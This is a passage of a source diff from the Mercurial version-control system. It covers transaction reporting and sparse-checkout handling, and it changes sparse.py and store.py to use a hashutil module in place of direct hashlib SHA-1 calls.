         If 'firstline' is not None, it is written to file before
         everything else, as it is, not in a key=value form"""
         lines = []
         if firstline is not None:
             lines.append(b'%s\n' % firstline)
 
         for k, v in data.items():
             if k == self.firstlinekey:
                 e = b"key name '%s' is reserved" % self.firstlinekey
                 raise error.ProgrammingError(e)
             if not k[0:1].isalpha():
                 e = b"keys must start with a letter in a key-value file"
                 raise error.ProgrammingError(e)
             if not k.isalnum():
                 e = b"invalid key name in a simple key-value file"
                 raise error.ProgrammingError(e)
             if b'\n' in v:
                 e = b"invalid value in a simple key-value file"
                 raise error.ProgrammingError(e)
             lines.append(b"%s=%s\n" % (k, v))
         with self.vfs(self.path, mode=b'wb', atomictemp=True) as fp:
             fp.write(b''.join(lines))
 
 
 _reportobsoletedsource = [
     b'debugobsolete',
     b'pull',
     b'push',
     b'serve',
     b'unbundle',
 ]
 
 _reportnewcssource = [
     b'pull',
     b'unbundle',
 ]
 
 
 def prefetchfiles(repo, revs, match):
     """Invokes the registered file prefetch functions, allowing extensions to
     ensure the corresponding files are available locally, before the command
     uses them."""
     if match:
         # The command itself will complain about files that don't exist, so
         # don't duplicate the message.
         match = matchmod.badmatch(match, lambda fn, msg: None)
     else:
         match = matchall(repo)
 
     fileprefetchhooks(repo, revs, match)
 
 
 # a list of (repo, revs, match) prefetch functions
 fileprefetchhooks = util.hooks()
 
 # A marker that tells the evolve extension to suppress its own reporting
 _reportstroubledchangesets = True
 
 
 def registersummarycallback(repo, otr, txnname=b''):
     """register a callback to issue a summary after the transaction is closed
     """
 
     def txmatch(sources):
         return any(txnname.startswith(source) for source in sources)
 
     categories = []
 
     def reportsummary(func):
         """decorator for report callbacks."""
         # The repoview life cycle is shorter than the one of the actual
         # underlying repository. So the filtered object can die before the
         # weakref is used leading to troubles. We keep a reference to the
         # unfiltered object and restore the filtering when retrieving the
         # repository through the weakref.
         filtername = repo.filtername
         reporef = weakref.ref(repo.unfiltered())
 
         def wrapped(tr):
             repo = reporef()
             if filtername:
                 assert repo is not None  # help pytype
                 repo = repo.filtered(filtername)
             func(repo, tr)
 
         newcat = b'%02i-txnreport' % len(categories)
         otr.addpostclose(newcat, wrapped)
         categories.append(newcat)
         return wrapped
 
     @reportsummary
     def reportchangegroup(repo, tr):
         cgchangesets = tr.changes.get(b'changegroup-count-changesets', 0)
         cgrevisions = tr.changes.get(b'changegroup-count-revisions', 0)
         cgfiles = tr.changes.get(b'changegroup-count-files', 0)
         cgheads = tr.changes.get(b'changegroup-count-heads', 0)
         if cgchangesets or cgrevisions or cgfiles:
             htext = b""
             if cgheads:
                 htext = _(b" (%+d heads)") % cgheads
             msg = _(b"added %d changesets with %d changes to %d files%s\n")
             assert repo is not None  # help pytype
             repo.ui.status(msg % (cgchangesets, cgrevisions, cgfiles, htext))
 
     if txmatch(_reportobsoletedsource):
 
         @reportsummary
         def reportobsoleted(repo, tr):
             obsoleted = obsutil.getobsoleted(repo, tr)
             newmarkers = len(tr.changes.get(b'obsmarkers', ()))
             if newmarkers:
                 repo.ui.status(_(b'%i new obsolescence markers\n') % newmarkers)
             if obsoleted:
                 repo.ui.status(_(b'obsoleted %i changesets\n') % len(obsoleted))
 
     if obsolete.isenabled(
         repo, obsolete.createmarkersopt
     ) and repo.ui.configbool(
         b'experimental', b'evolution.report-instabilities'
     ):
         instabilitytypes = [
             (b'orphan', b'orphan'),
             (b'phase-divergent', b'phasedivergent'),
             (b'content-divergent', b'contentdivergent'),
         ]
 
         def getinstabilitycounts(repo):
             filtered = repo.changelog.filteredrevs
             counts = {}
             for instability, revset in instabilitytypes:
                 counts[instability] = len(
                     set(obsolete.getrevs(repo, revset)) - filtered
                 )
             return counts
 
         oldinstabilitycounts = getinstabilitycounts(repo)
 
         @reportsummary
         def reportnewinstabilities(repo, tr):
             newinstabilitycounts = getinstabilitycounts(repo)
             for instability, revset in instabilitytypes:
                 delta = (
                     newinstabilitycounts[instability]
                     - oldinstabilitycounts[instability]
                 )
                 msg = getinstabilitymessage(delta, instability)
                 if msg:
                     repo.ui.warn(msg)
 
     if txmatch(_reportnewcssource):
 
         @reportsummary
         def reportnewcs(repo, tr):
             """Report the range of new revisions pulled/unbundled."""
             origrepolen = tr.changes.get(b'origrepolen', len(repo))
             unfi = repo.unfiltered()
             if origrepolen >= len(unfi):
                 return
 
             # Compute the bounds of new visible revisions' range.
             revs = smartset.spanset(repo, start=origrepolen)
             if revs:
                 minrev, maxrev = repo[revs.min()], repo[revs.max()]
 
                 if minrev == maxrev:
                     revrange = minrev
                 else:
                     revrange = b'%s:%s' % (minrev, maxrev)
                 draft = len(repo.revs(b'%ld and draft()', revs))
                 secret = len(repo.revs(b'%ld and secret()', revs))
                 if not (draft or secret):
                     msg = _(b'new changesets %s\n') % revrange
                 elif draft and secret:
                     msg = _(b'new changesets %s (%d drafts, %d secrets)\n')
                     msg %= (revrange, draft, secret)
                 elif draft:
                     msg = _(b'new changesets %s (%d drafts)\n')
                     msg %= (revrange, draft)
                 elif secret:
                     msg = _(b'new changesets %s (%d secrets)\n')
                     msg %= (revrange, secret)
                 else:
                     errormsg = b'entered unreachable condition'
                     raise error.ProgrammingError(errormsg)
                 repo.ui.status(msg)
 
             # search new changesets directly pulled as obsolete
             duplicates = tr.changes.get(b'revduplicates', ())
             obsadded = unfi.revs(
                 b'(%d: + %ld) and obsolete()', origrepolen, duplicates
             )
             cl = repo.changelog
             extinctadded = [r for r in obsadded if r not in cl]
             if extinctadded:
                 # They are not just obsolete, but obsolete and invisible
                 # we call them "extinct" internally but the terms have not been
                 # exposed to users.
                 msg = b'(%d other changesets obsolete on arrival)\n'
                 repo.ui.status(msg % len(extinctadded))
 
         @reportsummary
         def reportphasechanges(repo, tr):
             """Report statistics of phase changes for changesets pre-existing
             pull/unbundle.
             """
             origrepolen = tr.changes.get(b'origrepolen', len(repo))
             phasetracking = tr.changes.get(b'phases', {})
             if not phasetracking:
                 return
             published = [
                 rev
                 for rev, (old, new) in pycompat.iteritems(phasetracking)
                 if new == phases.public and rev < origrepolen
             ]
             if not published:
                 return
             repo.ui.status(
                 _(b'%d local changesets published\n') % len(published)
             )
 
 
 def getinstabilitymessage(delta, instability):
     """function to return the message to show warning about new instabilities
 
     exists as a separate function so that extension can wrap to show more
     information like how to fix instabilities"""
     if delta > 0:
         return _(b'%i new %s changesets\n') % (delta, instability)
 
 
 def nodesummaries(repo, nodes, maxnumnodes=4):
     if len(nodes) <= maxnumnodes or repo.ui.verbose:
         return b' '.join(short(h) for h in nodes)
     first = b' '.join(short(h) for h in nodes[:maxnumnodes])
     return _(b"%s and %d others") % (first, len(nodes) - maxnumnodes)
 
 
 def enforcesinglehead(repo, tr, desc, accountclosed=False):
     """check that no named branch has multiple heads"""
     if desc in (b'strip', b'repair'):
         # skip the logic during strip
         return
     visible = repo.filtered(b'visible')
     # possible improvement: we could restrict the check to affected branch
     bm = visible.branchmap()
     for name in bm:
         heads = bm.branchheads(name, closed=accountclosed)
         if len(heads) > 1:
             msg = _(b'rejecting multiple heads on branch "%s"')
             msg %= name
             hint = _(b'%d heads: %s')
             hint %= (len(heads), nodesummaries(repo, heads))
             raise error.Abort(msg, hint=hint)
 
 
 def wrapconvertsink(sink):
     """Allow extensions to wrap the sink returned by convcmd.convertsink()
     before it is used, whether or not the convert extension was formally loaded.
     """
     return sink
 
 
 def unhidehashlikerevs(repo, specs, hiddentype):
     """parse the user specs and unhide changesets whose hash or revision number
     is passed.
 
     hiddentype can be: 1) 'warn': warn while unhiding changesets
                        2) 'nowarn': don't warn while unhiding changesets
 
     returns a repo object with the required changesets unhidden
     """
     if not repo.filtername or not repo.ui.configbool(
         b'experimental', b'directaccess'
     ):
         return repo
 
     if repo.filtername not in (b'visible', b'visible-hidden'):
         return repo
 
     symbols = set()
     for spec in specs:
         try:
             tree = revsetlang.parse(spec)
         except error.ParseError:  # will be reported by scmutil.revrange()
             continue
 
         symbols.update(revsetlang.gethashlikesymbols(tree))
 
     if not symbols:
         return repo
 
     revs = _getrevsfromsymbols(repo, symbols)
 
     if not revs:
         return repo
 
     if hiddentype == b'warn':
         unfi = repo.unfiltered()
         revstr = b", ".join([pycompat.bytestr(unfi[l]) for l in revs])
         repo.ui.warn(
             _(
                 b"warning: accessing hidden changesets for write "
                 b"operation: %s\n"
             )
             % revstr
         )
 
     # we have to use new filtername to separate branch/tags cache until we can
     # disbale these cache when revisions are dynamically pinned.
     return repo.filtered(b'visible-hidden', revs)
 
 
 def _getrevsfromsymbols(repo, symbols):
     """parse the list of symbols and returns a set of revision numbers of hidden
     changesets present in symbols"""
     revs = set()
     unfi = repo.unfiltered()
     unficl = unfi.changelog
     cl = repo.changelog
     tiprev = len(unficl)
     allowrevnums = repo.ui.configbool(b'experimental', b'directaccess.revnums')
     for s in symbols:
         try:
             n = int(s)
             if n <= tiprev:
                 if not allowrevnums:
                     continue
                 else:
                     if n not in cl:
                         revs.add(n)
                     continue
         except ValueError:
             pass
 
         try:
             s = resolvehexnodeidprefix(unfi, s)
         except (error.LookupError, error.WdirUnsupported):
             s = None
 
         if s is not None:
             rev = unficl.rev(s)
             if rev not in cl:
                 revs.add(rev)
 
     return revs
 
 
 def bookmarkrevs(repo, mark):
     """
     Select revisions reachable by a given bookmark
     """
     return repo.revs(
         b"ancestors(bookmark(%s)) - "
         b"ancestors(head() and not bookmark(%s)) - "
         b"ancestors(bookmark() and not bookmark(%s))",
         mark,
         mark,
         mark,
     )

mercurial/sparse.py

@@ -1,823 +1,823
 # sparse.py - functionality for sparse checkouts
 #
 # Copyright 2014 Facebook, Inc.
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
-import hashlib
 import os
 
 from .i18n import _
 from .node import (
     hex,
     nullid,
 )
 from . import (
     error,
     match as matchmod,
     merge as mergemod,
     pathutil,
     pycompat,
     scmutil,
     util,
 )
+from .utils import hashutil
 
 # Whether sparse features are enabled. This variable is intended to be
 # temporary to facilitate porting sparse to core. It should eventually be
 # a per-repo option, possibly a repo requirement.
 enabled = False
 
 
 def parseconfig(ui, raw, action):
     """Parse sparse config file content.
 
     action is the command which is trigerring this read, can be narrow, sparse
 
     Returns a tuple of includes, excludes, and profiles.
     """
     includes = set()
     excludes = set()
     profiles = set()
     current = None
     havesection = False
 
     for line in raw.split(b'\n'):
         line = line.strip()
         if not line or line.startswith(b'#'):
             # empty or comment line, skip
             continue
         elif line.startswith(b'%include '):
             line = line[9:].strip()
             if line:
                 profiles.add(line)
         elif line == b'[include]':
             if havesection and current != includes:
                 # TODO pass filename into this API so we can report it.
                 raise error.Abort(
                     _(
                         b'%(action)s config cannot have includes '
                         b'after excludes'
                     )
                     % {b'action': action}
                 )
             havesection = True
             current = includes
             continue
         elif line == b'[exclude]':
             havesection = True
             current = excludes
         elif line:
             if current is None:
                 raise error.Abort(
                     _(
                         b'%(action)s config entry outside of '
                         b'section: %(line)s'
                     )
                     % {b'action': action, b'line': line},
                     hint=_(
                         b'add an [include] or [exclude] line '
                         b'to declare the entry type'
                     ),
                 )
 
             if line.strip().startswith(b'/'):
                 ui.warn(
                     _(
                         b'warning: %(action)s profile cannot use'
                         b' paths starting with /, ignoring %(line)s\n'
                     )
                     % {b'action': action, b'line': line}
                 )
                 continue
             current.add(line)
 
     return includes, excludes, profiles
 
 
 # Exists as separate function to facilitate monkeypatching.
 def readprofile(repo, profile, changeid):
     """Resolve the raw content of a sparse profile file."""
     # TODO add some kind of cache here because this incurs a manifest
     # resolve and can be slow.
     return repo.filectx(profile, changeid=changeid).data()
 
 
 def patternsforrev(repo, rev):
     """Obtain sparse checkout patterns for the given rev.
 
     Returns a tuple of iterables representing includes, excludes, and
     patterns.
     """
     # Feature isn't enabled. No-op.
     if not enabled:
         return set(), set(), set()
 
     raw = repo.vfs.tryread(b'sparse')
     if not raw:
         return set(), set(), set()
 
     if rev is None:
         raise error.Abort(
             _(b'cannot parse sparse patterns from working directory')
         )
 
     includes, excludes, profiles = parseconfig(repo.ui, raw, b'sparse')
     ctx = repo[rev]
 
     if profiles:
         visited = set()
         while profiles:
             profile = profiles.pop()
             if profile in visited:
                 continue
 
             visited.add(profile)
 
             try:
                 raw = readprofile(repo, profile, rev)
             except error.ManifestLookupError:
                 msg = (
                     b"warning: sparse profile '%s' not found "
                     b"in rev %s - ignoring it\n" % (profile, ctx)
                 )
                 # experimental config: sparse.missingwarning
                 if repo.ui.configbool(b'sparse', b'missingwarning'):
                     repo.ui.warn(msg)
                 else:
                     repo.ui.debug(msg)
                 continue
 
             pincludes, pexcludes, subprofs = parseconfig(
                 repo.ui, raw, b'sparse'
             )
             includes.update(pincludes)
             excludes.update(pexcludes)
             profiles.update(subprofs)
 
         profiles = visited
 
     if includes:
         includes.add(b'.hg*')
 
     return includes, excludes, profiles
 
 
 def activeconfig(repo):
     """Determine the active sparse config rules.
 
     Rules are constructed by reading the current sparse config and bringing in
     referenced profiles from parents of the working directory.
     """
     revs = [
         repo.changelog.rev(node)
         for node in repo.dirstate.parents()
         if node != nullid
     ]
 
     allincludes = set()
     allexcludes = set()
     allprofiles = set()
 
     for rev in revs:
         includes, excludes, profiles = patternsforrev(repo, rev)
         allincludes |= includes
         allexcludes |= excludes
         allprofiles |= profiles
 
     return allincludes, allexcludes, allprofiles
 
 
 def configsignature(repo, includetemp=True):
     """Obtain the signature string for the current sparse configuration.
 
     This is used to construct a cache key for matchers.
     """
     cache = repo._sparsesignaturecache
 
     signature = cache.get(b'signature')
 
     if includetemp:
         tempsignature = cache.get(b'tempsignature')
     else:
         tempsignature = b'0'
 
     if signature is None or (includetemp and tempsignature is None):
-        signature = hex(hashlib.sha1(repo.vfs.tryread(b'sparse')).digest())
+        signature = hex(hashutil.sha1(repo.vfs.tryread(b'sparse')).digest())
         cache[b'signature'] = signature
 
         if includetemp:
             raw = repo.vfs.tryread(b'tempsparse')
-            tempsignature = hex(hashlib.sha1(raw).digest())
+            tempsignature = hex(hashutil.sha1(raw).digest())
             cache[b'tempsignature'] = tempsignature
 
     return b'%s %s' % (signature, tempsignature)
 
 
 def writeconfig(repo, includes, excludes, profiles):
     """Write the sparse config file given a sparse configuration."""
     with repo.vfs(b'sparse', b'wb') as fh:
         for p in sorted(profiles):
             fh.write(b'%%include %s\n' % p)
 
         if includes:
             fh.write(b'[include]\n')
             for i in sorted(includes):
                 fh.write(i)
                 fh.write(b'\n')
 
         if excludes:
             fh.write(b'[exclude]\n')
             for e in sorted(excludes):
                 fh.write(e)
                 fh.write(b'\n')
 
     repo._sparsesignaturecache.clear()
 
 
 def readtemporaryincludes(repo):
     raw = repo.vfs.tryread(b'tempsparse')
     if not raw:
         return set()
 
     return set(raw.split(b'\n'))
 
 
 def writetemporaryincludes(repo, includes):
     repo.vfs.write(b'tempsparse', b'\n'.join(sorted(includes)))
     repo._sparsesignaturecache.clear()
 
 
 def addtemporaryincludes(repo, additional):
     includes = readtemporaryincludes(repo)
     for i in additional:
         includes.add(i)
     writetemporaryincludes(repo, includes)
 
 
 def prunetemporaryincludes(repo):
     if not enabled or not repo.vfs.exists(b'tempsparse'):
         return
 
     s = repo.status()
     if s.modified or s.added or s.removed or s.deleted:
         # Still have pending changes. Don't bother trying to prune.
         return
 
     sparsematch = matcher(repo, includetemp=False)
     dirstate = repo.dirstate
     actions = []
     dropped = []
     tempincludes = readtemporaryincludes(repo)
     for file in tempincludes:
         if file in dirstate and not sparsematch(file):
             message = _(b'dropping temporarily included sparse files')
             actions.append((file, None, message))
             dropped.append(file)
 
     typeactions = mergemod.emptyactions()
     typeactions[b'r'] = actions
     mergemod.applyupdates(
         repo, typeactions, repo[None], repo[b'.'], False, wantfiledata=False
     )
 
     # Fix dirstate
     for file in dropped:
         dirstate.drop(file)
 
     repo.vfs.unlink(b'tempsparse')
     repo._sparsesignaturecache.clear()
     msg = _(
         b'cleaned up %d temporarily added file(s) from the '
         b'sparse checkout\n'
     )
     repo.ui.status(msg % len(tempincludes))
 
 
 def forceincludematcher(matcher, includes):
     """Returns a matcher that returns true for any of the forced includes
     before testing against the actual matcher."""
     kindpats = [(b'path', include, b'') for include in includes]
     includematcher = matchmod.includematcher(b'', kindpats)
     return matchmod.unionmatcher([includematcher, matcher])
 
 
 def matcher(repo, revs=None, includetemp=True):
     """Obtain a matcher for sparse working directories for the given revs.
 
     If multiple revisions are specified, the matcher is the union of all
     revs.
 
     ``includetemp`` indicates whether to use the temporary sparse profile.
     """
     # If sparse isn't enabled, sparse matcher matches everything.
     if not enabled:
         return matchmod.always()
 
     if not revs or revs == [None]:
         revs = [
             repo.changelog.rev(node)
             for node in repo.dirstate.parents()
             if node != nullid
         ]
 
     signature = configsignature(repo, includetemp=includetemp)
 
     key = b'%s %s' % (signature, b' '.join(map(pycompat.bytestr, revs)))
 
     result = repo._sparsematchercache.get(key)
     if result:
         return result
 
     matchers = []
     for rev in revs:
         try:
             includes, excludes, profiles = patternsforrev(repo, rev)
 
             if includes or excludes:
                 matcher = matchmod.match(
                     repo.root,
                     b'',
                     [],
                     include=includes,
                     exclude=excludes,
                     default=b'relpath',
                 )
                 matchers.append(matcher)
         except IOError:
             pass
 
     if not matchers:
         result = matchmod.always()
     elif len(matchers) == 1:
         result = matchers[0]
     else:
         result = matchmod.unionmatcher(matchers)
 
     if includetemp:
         tempincludes = readtemporaryincludes(repo)
         result = forceincludematcher(result, tempincludes)
 
     repo._sparsematchercache[key] = result
 
     return result
 
 
 def filterupdatesactions(repo, wctx, mctx, branchmerge, actions):
     """Filter updates to only lay out files that match the sparse rules."""
     if not enabled:
         return actions
 
     oldrevs = [pctx.rev() for pctx in wctx.parents()]
     oldsparsematch = matcher(repo, oldrevs)
 
     if oldsparsematch.always():
         return actions
 
     files = set()
     prunedactions = {}
 
     if branchmerge:
         # If we're merging, use the wctx filter, since we're merging into
         # the wctx.
         sparsematch = matcher(repo, [wctx.p1().rev()])
     else:
         # If we're updating, use the target context's filter, since we're
         # moving to the target context.
         sparsematch = matcher(repo, [mctx.rev()])
 
     temporaryfiles = []
     for file, action in pycompat.iteritems(actions):
         type, args, msg = action
         files.add(file)
         if sparsematch(file):
             prunedactions[file] = action
         elif type == b'm':
             temporaryfiles.append(file)
             prunedactions[file] = action
         elif branchmerge:
             if type != b'k':
                 temporaryfiles.append(file)
                 prunedactions[file] = action
         elif type == b'f':
             prunedactions[file] = action
         elif file in wctx:
             prunedactions[file] = (b'r', args, msg)
 
         if branchmerge and type == mergemod.ACTION_MERGE:
             f1, f2, fa, move, anc = args
             if not sparsematch(f1):
                 temporaryfiles.append(f1)
 
     if len(temporaryfiles) > 0:
         repo.ui.status(
             _(
                 b'temporarily included %d file(s) in the sparse '
                 b'checkout for merging\n'
             )
             % len(temporaryfiles)
         )
         addtemporaryincludes(repo, temporaryfiles)
 
         # Add the new files to the working copy so they can be merged, etc
         actions = []
         message = b'temporarily adding to sparse checkout'
         wctxmanifest = repo[None].manifest()
         for file in temporaryfiles:
             if file in wctxmanifest:
                 fctx = repo[None][file]
                 actions.append((file, (fctx.flags(), False), message))
 
         typeactions = mergemod.emptyactions()
         typeactions[b'g'] = actions
         mergemod.applyupdates(
             repo, typeactions, repo[None], repo[b'.'], False, wantfiledata=False
         )
 
         dirstate = repo.dirstate
         for file, flags, msg in actions:
             dirstate.normal(file)
 
     profiles = activeconfig(repo)[2]
     changedprofiles = profiles & files
     # If an active profile changed during the update, refresh the checkout.
     # Don't do this during a branch merge, since all incoming changes should
     # have been handled by the temporary includes above.
     if changedprofiles and not branchmerge:
         mf = mctx.manifest()
         for file in mf:
             old = oldsparsematch(file)
             new = sparsematch(file)
             if not old and new:
                 flags = mf.flags(file)
                 prunedactions[file] = (b'g', (flags, False), b'')
             elif old and not new:
                 prunedactions[file] = (b'r', [], b'')
 
     return prunedactions
 
 
 def refreshwdir(repo, origstatus, origsparsematch, force=False):
     """Refreshes working directory by taking sparse config into account.
 
     The old status and sparse matcher is compared against the current sparse
     matcher.
 
     Will abort if a file with pending changes is being excluded or included
     unless ``force`` is True.
     """
     # Verify there are no pending changes
     pending = set()
     pending.update(origstatus.modified)
     pending.update(origstatus.added)
     pending.update(origstatus.removed)
     sparsematch = matcher(repo)
     abort = False
 
     for f in pending:
         if not sparsematch(f):
             repo.ui.warn(_(b"pending changes to '%s'\n") % f)
             abort = not force
 
     if abort:
         raise error.Abort(
             _(b'could not update sparseness due to pending changes')
         )
 
     # Calculate actions
     dirstate = repo.dirstate
     ctx = repo[b'.']
     added = []
     lookup = []
     dropped = []
     mf = ctx.manifest()
     files = set(mf)
 
     actions = {}
 
     for file in files:
         old = origsparsematch(file)
         new = sparsematch(file)
         # Add files that are newly included, or that don't exist in
         # the dirstate yet.
         if (new and not old) or (old and new and not file in dirstate):
             fl = mf.flags(file)
             if repo.wvfs.exists(file):
                 actions[file] = (b'e', (fl,), b'')
                 lookup.append(file)
             else:
                 actions[file] = (b'g', (fl, False), b'')
                 added.append(file)
         # Drop files that are newly excluded, or that still exist in
         # the dirstate.
         elif (old and not new) or (not old and not new and file in dirstate):
             dropped.append(file)
             if file not in pending:
                 actions[file] = (b'r', [], b'')
 
     # Verify there are no pending changes in newly included files
     abort = False
     for file in lookup:
         repo.ui.warn(_(b"pending changes to '%s'\n") % file)
         abort = not force
     if abort:
         raise error.Abort(
             _(
                 b'cannot change sparseness due to pending '
                 b'changes (delete the files or use '
                 b'--force to bring them back dirty)'
             )
         )
 
     # Check for files that were only in the dirstate.
     for file, state in pycompat.iteritems(dirstate):
         if not file in files:
             old = origsparsematch(file)
             new = sparsematch(file)
             if old and not new:
                 dropped.append(file)
 
     # Apply changes to disk
     typeactions = mergemod.emptyactions()
     for f, (m, args, msg) in pycompat.iteritems(actions):
         typeactions[m].append((f, args, msg))
 
     mergemod.applyupdates(
         repo, typeactions, repo[None], repo[b'.'], False, wantfiledata=False
     )
 
     # Fix dirstate
     for file in added:
         dirstate.normal(file)
 
     for file in dropped:
         dirstate.drop(file)
 
     for file in lookup:
         # File exists on disk, and we're bringing it back in an unknown state.
         dirstate.normallookup(file)
 
     return added, dropped, lookup
 
 
 def aftercommit(repo, node):
     """Perform actions after a working directory commit."""
     # This function is called unconditionally, even if sparse isn't
     # enabled.
     ctx = repo[node]
 
     profiles = patternsforrev(repo, ctx.rev())[2]
 
     # profiles will only have data if sparse is enabled.
     if profiles & set(ctx.files()):
         origstatus = repo.status()
         origsparsematch = matcher(repo)
         refreshwdir(repo, origstatus, origsparsematch, force=True)
 
     prunetemporaryincludes(repo)
 
 
 def _updateconfigandrefreshwdir(
     repo, includes, excludes, profiles, force=False, removing=False
 ):
     """Update the sparse config and working directory state."""
     raw = repo.vfs.tryread(b'sparse')
     oldincludes, oldexcludes, oldprofiles = parseconfig(repo.ui, raw, b'sparse')
 
     oldstatus = repo.status()
     oldmatch = matcher(repo)
     oldrequires = set(repo.requirements)
 
     # TODO remove this try..except once the matcher integrates better
     # with dirstate. We currently have to write the updated config
     # because that will invalidate the matcher cache and force a
     # re-read. We ideally want to update the cached matcher on the
     # repo instance then flush the new config to disk once wdir is
     # updated. But this requires massive rework to matcher() and its
     # consumers.
 
     if b'exp-sparse' in oldrequires and removing:
         repo.requirements.discard(b'exp-sparse')
         scmutil.writerequires(repo.vfs, repo.requirements)
     elif b'exp-sparse' not in oldrequires:
         repo.requirements.add(b'exp-sparse')
         scmutil.writerequires(repo.vfs, repo.requirements)
 
     try:
         writeconfig(repo, includes, excludes, profiles)
         return refreshwdir(repo, oldstatus, oldmatch, force=force)
     except Exception:
         if repo.requirements != oldrequires:
             repo.requirements.clear()
             repo.requirements |= oldrequires
             scmutil.writerequires(repo.vfs, repo.requirements)
         writeconfig(repo, oldincludes, oldexcludes, oldprofiles)
         raise
 
 
 def clearrules(repo, force=False):
     """Clears include/exclude rules from the sparse config.
 
     The remaining sparse config only has profiles, if defined. The working
     directory is refreshed, as needed.
     """
     with repo.wlock():
         raw = repo.vfs.tryread(b'sparse')
         includes, excludes, profiles = parseconfig(repo.ui, raw, b'sparse')
 
         if not includes and not excludes:
             return
 
         _updateconfigandrefreshwdir(repo, set(), set(), profiles, force=force)
 
 
 def importfromfiles(repo, opts, paths, force=False):
     """Import sparse config rules from files.
 
     The updated sparse config is written out and the working directory
     is refreshed, as needed.
     """
     with repo.wlock():
         # read current configuration
         raw = repo.vfs.tryread(b'sparse')
         includes, excludes, profiles = parseconfig(repo.ui, raw, b'sparse')
         aincludes, aexcludes, aprofiles = activeconfig(repo)
 
         # Import rules on top; only take in rules that are not yet
         # part of the active rules.
         changed = False
         for p in paths:
             with util.posixfile(util.expandpath(p), mode=b'rb') as fh:
                 raw = fh.read()
 
             iincludes, iexcludes, iprofiles = parseconfig(
                 repo.ui, raw, b'sparse'
             )
             oldsize = len(includes) + len(excludes) + len(profiles)
             includes.update(iincludes - aincludes)
             excludes.update(iexcludes - aexcludes)
             profiles.update(iprofiles - aprofiles)
             if len(includes) + len(excludes) + len(profiles) > oldsize:
                 changed = True
 
         profilecount = includecount = excludecount = 0
         fcounts = (0, 0, 0)
 
         if changed:
             profilecount = len(profiles - aprofiles)
             includecount = len(includes - aincludes)
             excludecount = len(excludes - aexcludes)
 
             fcounts = map(
                 len,
                 _updateconfigandrefreshwdir(
                     repo, includes, excludes, profiles, force=force
                 ),
             )
 
         printchanges(
             repo.ui, opts, profilecount, includecount, excludecount, *fcounts
         )
 
 
 def updateconfig(
     repo,
     pats,
     opts,
     include=False,
     exclude=False,
     reset=False,
     delete=False,
     enableprofile=False,
     disableprofile=False,
     force=False,
     usereporootpaths=False,
 ):
     """Perform a sparse config update.
 
     Only one of the actions may be performed.
 
     The new config is written out and a working directory refresh is performed.
     """
     with repo.wlock():
         raw = repo.vfs.tryread(b'sparse')
         oldinclude, oldexclude, oldprofiles = parseconfig(
             repo.ui, raw, b'sparse'
         )
 
         if reset:
             newinclude = set()
             newexclude = set()
             newprofiles = set()
         else:
             newinclude = set(oldinclude)
             newexclude = set(oldexclude)
             newprofiles = set(oldprofiles)
 
         if any(os.path.isabs(pat) for pat in pats):
             raise error.Abort(_(b'paths cannot be absolute'))
 
         if not usereporootpaths:
             # let's treat paths as relative to cwd
             root, cwd = repo.root, repo.getcwd()
             abspats = []
             for kindpat in pats:
                 kind, pat = matchmod._patsplit(kindpat, None)
                 if kind in matchmod.cwdrelativepatternkinds or kind is None:
                     ap = (kind + b':' if kind else b'') + pathutil.canonpath(
                         root, cwd, pat
                     )
                     abspats.append(ap)
                 else:
                     abspats.append(kindpat)
             pats = abspats
 
         if include:
             newinclude.update(pats)
         elif exclude:
             newexclude.update(pats)
         elif enableprofile:
             newprofiles.update(pats)
         elif disableprofile:
             newprofiles.difference_update(pats)
         elif delete:
             newinclude.difference_update(pats)
             newexclude.difference_update(pats)
 
         profilecount = len(newprofiles - oldprofiles) - len(
             oldprofiles - newprofiles
         )
         includecount = len(newinclude - oldinclude) - len(
             oldinclude - newinclude
         )
         excludecount = len(newexclude - oldexclude) - len(
             oldexclude - newexclude
         )
 
         fcounts = map(
             len,
             _updateconfigandrefreshwdir(
                 repo,
                 newinclude,
                 newexclude,
                 newprofiles,
                 force=force,
                 removing=reset,
             ),
         )
 
         printchanges(
             repo.ui, opts, profilecount, includecount, excludecount, *fcounts
         )
 
 
 def printchanges(
     ui,
     opts,
     profilecount=0,
     includecount=0,
     excludecount=0,
     added=0,
     dropped=0,
     conflicting=0,
 ):
     """Print output summarizing sparse config changes."""
     with ui.formatter(b'sparse', opts) as fm:
         fm.startitem()
         fm.condwrite(
             ui.verbose,
             b'profiles_added',
             _(b'Profiles changed: %d\n'),
             profilecount,
         )
         fm.condwrite(
             ui.verbose,
             b'include_rules_added',
             _(b'Include rules changed: %d\n'),
             includecount,
         )
         fm.condwrite(
             ui.verbose,
             b'exclude_rules_added',
             _(b'Exclude rules changed: %d\n'),
             excludecount,
         )
 
         # In 'plain' verbose mode, mergemod.applyupdates already outputs what
         # files are added or removed outside of the templating formatter
         # framework. No point in repeating ourselves in that case.
         if not fm.isplain():
             fm.condwrite(
                 ui.verbose, b'files_added', _(b'Files added: %d\n'), added
             )
             fm.condwrite(
                 ui.verbose, b'files_dropped', _(b'Files dropped: %d\n'), dropped
             )
             fm.condwrite(
                 ui.verbose,
                 b'files_conflicting',
                 _(b'Files conflicting: %d\n'),
                 conflicting,
             )

mercurial/store.py

@@ -1,730 +1,730
 # store.py - repository store handling for Mercurial
 #
 # Copyright 2008 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
 import functools
-import hashlib
 import os
 import stat
 
 from .i18n import _
 from .pycompat import getattr
 from . import (
     changelog,
     error,
     manifest,
     node,
     policy,
     pycompat,
     util,
     vfs as vfsmod,
 )
+from .utils import hashutil
 
 parsers = policy.importmod('parsers')
 # how much bytes should be read from fncache in one read
 # It is done to prevent loading large fncache files into memory
 fncache_chunksize = 10 ** 6
 
 
 def _matchtrackedpath(path, matcher):
     """parses a fncache entry and returns whether the entry is tracking a path
     matched by matcher or not.
 
     If matcher is None, returns True"""
 
     if matcher is None:
         return True
     path = decodedir(path)
     if path.startswith(b'data/'):
         return matcher(path[len(b'data/') : -len(b'.i')])
     elif path.startswith(b'meta/'):
         return matcher.visitdir(path[len(b'meta/') : -len(b'/00manifest.i')])
 
     raise error.ProgrammingError(b"cannot decode path %s" % path)
 
 
 # This avoids a collision between a file named foo and a dir named
 # foo.i or foo.d
 def _encodedir(path):
     '''
     >>> _encodedir(b'data/foo.i')
     'data/foo.i'
     >>> _encodedir(b'data/foo.i/bla.i')
     'data/foo.i.hg/bla.i'
     >>> _encodedir(b'data/foo.i.hg/bla.i')
